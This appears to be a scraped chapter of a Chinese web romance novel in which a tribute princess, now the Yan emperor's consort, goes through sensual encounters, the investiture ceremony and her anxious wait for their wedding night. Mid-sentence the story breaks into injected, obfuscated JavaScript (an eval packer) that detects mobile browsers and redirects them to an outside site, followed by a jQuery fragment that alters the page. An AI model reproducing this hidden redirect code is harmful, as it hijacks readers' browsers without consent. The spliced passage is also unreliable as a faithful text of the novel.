18. 第18章

作品:《和亲后被暴君独宠了

    燕帝教她的,能是什么好东西?


    窈窈心知肚明,埋在他胸口的脸烫得像着了火,羞耻地不敢抬头。


    从来没人教过她这些事。


    母妃走得早,春平虽与她情同姐妹,但终究隔着一层主仆之分。她第一次在册子里看见男女之事,就被那详尽生动的画面带来了极大冲击。


    她下意识地将画中男子的脸换成了燕帝,一想到有朝一日要与他赤裎相对,甚至像画中那样紧密相连,她便浑身发烫,像被什么无形的东西攥住了呼吸,喘不过气。


    可她也知道,自己逃不掉的。


    燕帝封她做贵妃,总不至于只为她摆着好看。何况他从未掩饰过看她的眼神,那种缓慢、笃定、志在必得的目光,像猛兽盯着爪下的猎物,不急着咬断喉咙,只是玩味地打量,等着她自己发抖。


    每次被他吻住,她都觉得自己正在被一寸寸地拆吃入腹。他会把她揉碎的,她真的怕,毕竟他看起来就是那种杀伐决断,毫不心慈手软的人。


    然而窈窈不知道的是,对于燕隋而言,男女情事亦是一种十分陌生的体验。


    在此之前,燕隋从不曾为任何女人产生过这种陌生的焦躁与冲动。


    偶尔有欲念浮动的时候,他也会用别的手段强压下去,干净利落,不留余地。他厌恶一切失控的东西,或许皇室的血脉里本就流淌着争权夺利的天性,杀父弑兄坐上那把椅子后,他以为自己的掌控欲会得到满足。


    可是并没有。


    天下如此大,而燕国只占三分之一,于是他挥兵南下,指向富庶而积弱的越国。


    越国果然节节败退,不堪一击,主动割地求和。


    求和的书简里,还附上了她。


    柔弱,貌美,怯懦,像一株无依无靠的菟丝子,被人连根拔起,恭敬地捧到他面前。


    他第一次,感到了餍足。


    而此刻,她就在他怀里,整个人被他圈住,他掌心贴着她的腰,不轻不重地揉着。她越怕,抖得越厉害,就越往他怀里钻,像是恨不得缠死在他身上,把自己的一切都交给他处置。


    他垂眼看她,喉间微微发紧。


    这么怕,还往我怀里躲?


    燕隋抬起手,轻轻拨开她散落的发丝,露出那只嫩生生,沁着粉色的耳尖。


    他忽然感到一阵焦渴,不受控制地俯首下去,在粉玉般的耳尖上轻轻咬了一口。


    窈窈浑身一抖,他咬得并不重,力道甚至可以说得上是温柔。可就是这样轻的触碰,却让她有种说不出的酥麻,从耳尖一路窜到脊背,骨子里都瘫软了下去。


    “陛……陛下……”窈窈抖得厉害,声音也在发颤。


    燕隋没应声,只是顺着她的耳廓轻轻吻着,一下一下,像在品尝什么珍馐。


    窈窈在他怀中瑟缩、颤抖,她想躲,可身体不听使唤,软得连根手指都抬不起来,只能任由他一点点地吻着,咬着,把那片嫩肉吮得发红发烫。


    “抖什么?”他的声音低沉而含糊,贴着她的耳朵,“又不疼。”


    窈窈说不出话,只是摇头,也不知道自己在摇什么。她神情迷离,眼神恍惚,对身子不由自主的反应感到迷茫而无助。


    燕隋松开被他吮得通红的耳垂,看着怀里那张绯红的脸,她眼眸湿润而涣散,樱红的唇微微张着,轻轻地喘气。


    他眸色更深了,却没有再进一步的动作,只是微微阖上眼,俯首埋在她柔软的发间深深吸了一口气。


    “等到大典之后……”


    窈窈耳边是他压抑而沉沉的呼吸,缓缓回过神的眼眸轻轻眨动了下。


    她知道,自己只是暂时逃过一劫,但终究还是会被他吃下去的。


    燕隋离开时,带走了赵司赞送的那本小册子,窈窈已无力去阻止了,浑身软烂地躺在榻上,望着头顶的缠枝海棠帷帐出神。


    燕帝看起来好像真的很喜欢她的身子,哪怕他对她言语轻蔑讽刺,总是张嘴骂她“小废物”,可他身体触到她的反应却再诚实不过。


    窈窈不知道自己是哪里吸引到了他,甚至不知道是从什么时候开始,好似从她生了那场大病醒来,一切就突然变了。


    而窈窈不知道这变化是好是坏,她原来只想尽力柔顺乖巧,讨得他的欢心,现在却不知不觉走偏到了另一条道路上。


    他对她的迷恋会不会只是一时?等他终于得到了,会不会又突然变了态度?


    这个男人情绪太过多变,让窈窈看不透,也摸不准,除了被动地迎合,没有其他任何方法去应付。


    “唉……”窈窈轻叹一口气,翻过身将脸埋进枕头里,脑海中一团乱麻。


    走一步算一步吧,就算以后失了宠,好歹现在还享受过做贵妃的待遇。


    想想她一个越国的公主,成了燕国的贵妃,甚至还能让燕帝在朝堂上公然维护她,在史书上多少也能留下浓墨重彩的一笔吧。


    窈窈苦中作乐地想,不知不觉地闭上眼睡过去。


    ……


    在窈窈忐忑的等待之中,大典那一日,终于还是来了。


    天色未亮,窈窈就被红萼从床榻上捞了起来,迷迷糊糊地坐在梳妆台前,任由一群宫女围着她折腾。


    沐浴,熏香,绞面,上妆。


    一层又一层的脂粉往脸上扑,一件又一件的衣服往身上套。窈窈觉得自己像个被人摆弄的木偶,不停地转来转去,脑子里晕乎乎的,只剩一个念头——


    好重。


    这礼服怎么这么重。


    她偷偷看了一眼镜中的自己。


    镜子里的人眉眼精致,唇点朱红,乌发高高绾起,戴着沉甸甸的发冠,金步摇垂在鬓边,轻轻一晃,便漾开一片流光。


    一点也不像她,她从未梳过这样精致的妆容,也从未穿戴过这样华贵的衣物。


    窈窈眨了眨眼,镜子里的人也眨了眨眼。


    “娘娘真美。”红萼在一旁惊叹,“奴婢从未见过这么好看的人。”


    窈窈脸微微发烫,这也是她第一次意识到原来自己长得这般好看,镜子中的自己简直就像画中的神妃仙子一样。


    吉时将至,两位司赞进来引路。


    陈司赞上下打量了她一眼,满意地点点头:“娘娘这般模样,陛下见了必定欢喜。”


    窈窈想起那晚他说的话:“等到大典之后……”


    那就是今夜了,他会彻彻底底地吃了她。


    窈窈手心微微出汗,纤细的眼睫也垂落了下去。


    赵司赞见她紧张,安慰道:“娘娘别怕,大典上的礼仪奴婢们都教过您了,您只需照做便是。”


    窈窈点点头,深吸一口气,跟着她们往外走。


    走出蘅芜宫的那一刻,冷风扑面而来。


    天边刚刚泛起鱼肚白,宫道上已站满了人。宫女太监垂首而立,仪仗整齐列队,旌旗在风中猎猎作响。


    窈窈从未见过这样的阵仗。


    她下意识想退缩,可身后传来陈司赞的轻声提醒:“娘娘,抬头,挺胸。”


    窈窈抿了抿唇,努力让自己站直,一步一步,往太庙的方向走。


    每一步都像踩在云端里,飘飘忽忽的,一点也不真实。


    直到她踏上台阶,看见那个站在最高处的人。


    燕隋身着玄色衮服,头戴十二旒冕冠,负手而立。日光从他身后洒下来,在他周身镀上一层淡淡的金边,衬得他整个人威严而遥远,像庙里供奉的神佛,不近人间烟火。


    窈窈愣住了,她从未见过他这副模样。


    除了初见那日,窈窈再未与他隔过如此远的距离,他眼神再如何轻蔑,漠然,也都是切切实实落在她身上的。


    可此刻,他站在那里,高高在上,俯瞰众生,目空一切。


    她并未在他眼中。


    窈窈停住脚步,她忽然不想再上前了。


    一种说不清的情绪漫上心头,让她感觉胸口沉甸甸地,又酸又涩。


    她对燕帝究竟算什么呢?


    他说过,他想要的,她给不起。对于他而言,自己充其量就只是一个解闷用的小玩意而已吧。如果不是她生得还算漂亮,或许早在第一眼见到他时,她就会如梦里那般被他下令拖出去了。


    “娘娘。”陈司赞轻轻推了推她。


    窈窈回过神来,一步一步,往上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250350|197720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走,走到他面前时,她腿都快软了。


    燕隋垂眼看她,那道目光终于从远处落在了她的身上。


    她的脸被脂粉遮住了本来的颜色,只剩一双眼睛水灵灵的,盛着紧张、小心,还有一点点藏不住的茫然。


    他忽然想起第一次见她的样子,也是这样怯生生的,瑟瑟发抖地蜷缩在他的眼下,像只受惊过度的小动物。


    那时她是越国送来的贡品,现在,她是他的贵妃,是他唯一的女人。


    燕隋唇角微微动了动,他伸出右手。


    窈窈看着那只手,他手指修长,骨节分明,手掌张开时,足以将她的脸整个罩进去。


    这样一只手若是握住她的腰,她是一点也逃不脱的。


    窈窈强行按捺住后退的冲动,缓缓伸出手,放入他掌心。


    他的手干燥而温热,反手便握紧了她,不容有一丝逃避。


    礼官开始唱礼。


    一拜,二拜,三拜。


    窈窈跟着指引,晕乎乎地完成每一个动作,什么都听不见,只能感觉到他的手一直握着她,没有松开。


    最后一道礼毕,礼官高唱:“礼成——”


    窈窈终于松了口气。她抬起头,正对上燕隋那双深沉的眸。


    他看着她,眼底有一点她看不懂的东西,看得她心里发毛,恨不得扭头就跑。可这里都是他的地盘,她跑到哪里都会被捉回来。


    燕隋松开她,忽然俯首到她耳边,沉声道:“等朕。”


    窈窈泄了气。


    吃吧吃吧。只庆幸自己没在身上□□,不然一代枭雄死在床榻上,说出去也不是多光彩的事。


    大典结束后,窈窈被送回新的寝宫——琼华宫。


    经过修葺,琼华宫占地整整扩大了一倍。隔着很远,她就望见门外那片木芙蓉园。此时已过了花期,却不知宫人是如何照料的,木芙蓉竟开得十分旺烈,几乎连成一片粉色的浓雾。


    窈窈惊喜极了,可今日已忙碌了大半天,实在没有心力去欣赏。


    她脚步沉重地走进内殿,累得浑身快散了架。红萼和几个宫女七手八脚帮她卸下发冠,脱去礼服,又伺候她沐浴更衣。


    温热的水漫过身子时,窈窈终于长舒一口气,疲累的筋骨也松软下来。


    浴桶里飘着满满的花瓣,整间内室氤氲着令人迷醉的香气。窈窈觉得自己的身体都要被这水浸泡入味了。


    几个宫女站在身后为她揉捏着筋骨,眼睛不小心瞟见浴桶里那雪白柔腻的身子,顿时羞红了脸。


    一个大胆的宫女道:“娘娘可真漂亮……”


    窈窈害羞地缩进水里,恨不得把整个身子都藏进去。


    她还是不习惯被这么多人服侍观看。尽管那些眼神是惊艳赞叹的,仍让她感觉到压力。


    沐浴完毕,窈窈换上轻薄的寝衣,被扶到妆台前坐下。


    红萼拿着干帕子给她绞头发,低声问:“公主,陛下今晚会来吗?”


    今日可是公主的册封大典,若是陛下晚上未召公主侍寝,那公主的脸面该往哪里搁?


    窈窈想起他在耳边说的话。他要她等。


    这个等,必定不会是白等。


    她轻轻点头:“他会来的。”


    天色彻底暗下来时,晚膳送来了。


    窈窈一个人坐在桌前,对着一大桌子菜,却没什么胃口。她随便吃了几口,就让红萼撤了。


    然后就是等。


    尽管怕得要死,还是要在这里等,等他来吃掉自己。


    窈窈深吸一口气,尽量保持镇静地坐在床边。没过多久,门外就传来了通传声。


    “陛下驾到——”


    窈窈腾地站起来,手足无措地站在原地。


    燕隋踏进门时,看见的就是这副景象,她穿着单薄的寝衣站在床边,窈窕的身姿尽显无余,一张雪白的小脸未施脂粉,在暖融的烛光下,整个人都似在发着光。


    他眸光微动,缓步朝她走近。


    窈窈闻到了他身上淡淡的龙涎香,感觉到他的目光落在自己头顶,沉重而滚烫。


    他看着她。


    “抬头。”他说。